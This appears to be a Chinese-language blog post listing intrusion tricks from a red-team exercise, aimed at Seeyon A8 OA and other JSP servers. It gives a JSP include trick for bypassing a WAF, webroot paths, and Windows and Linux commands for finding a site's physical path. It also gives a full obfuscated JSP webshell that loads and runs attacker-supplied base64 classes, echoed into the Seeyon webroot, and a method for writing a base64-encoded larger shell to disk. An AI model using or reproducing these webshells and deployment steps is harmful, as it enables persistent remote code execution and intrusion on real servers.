小护网期间遇到的几个点的技巧

1. jsp本地包含文件:   可能需要利用包含过waf,
 

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@include file="abc.js"%>

2.  测试是否支持解析jsp,显示源代码说明不解析,显示hello world说明解析

<% out.println("hello world"); %>  

3.  解析路径可参考  

D:\Seeyon\A8\ApacheJetspeed\webapps\Seeyon\shiro9000.jsp  不解析

要这个目录才解析   D:\Seeyon\A8\ApacheJetspeed\webapps\ROOT\shiro9000.jsp

4.  windows下查找文件命令:  

当注入或者其他获取到cmd,但是目标不出网的时候,站库不分离

where /R  D:\wwwroot\   /T  t_2810039303.jpg 

建议用它:
dir /s /b D:\*.js | findstr /i /e "dojo.js"

找到网站的物理路径   echo webshell   蚂剑一句话zero

echo ^<%!class SBDZ extends ClassLoader{ SBDZ(ClassLoader ZQIM){ super(ZQIM); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%^>^<% String cls=request.getParameter("zero");if(cls!=null){ new SBDZ(this.\u0067etClass().\u0067etClassLoader()).g(new sun.misc.\u0042\u0041\u0053\u0045\u00364\u0044\u0065co\u0064\u0065\u0072().decodeBuffer(cls)).newInstance().equals(pageContext); }%^>  >> D:\Seeyon\A8\ApacheJetspeed\webapps\ROOT\shiro9000.jsp

5.  linux下查找文件命令:  

ls -m  会以分号隔开列出文件(find找不到的shell找网站路径有用 )
find /  -type f -name "*.jsp"  查找主站特定文件名。
find /  -type f -name "*.jsp" | xargs grep "ERROR"    查找主站特定文件名内容。

找到网站的物理路径   echo webshell    

base64 可以是大马,多次echo就行

echo base64马内容 | base64 -d >> /app/yyadm/heihao.jsp

好像都是些常规路子

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值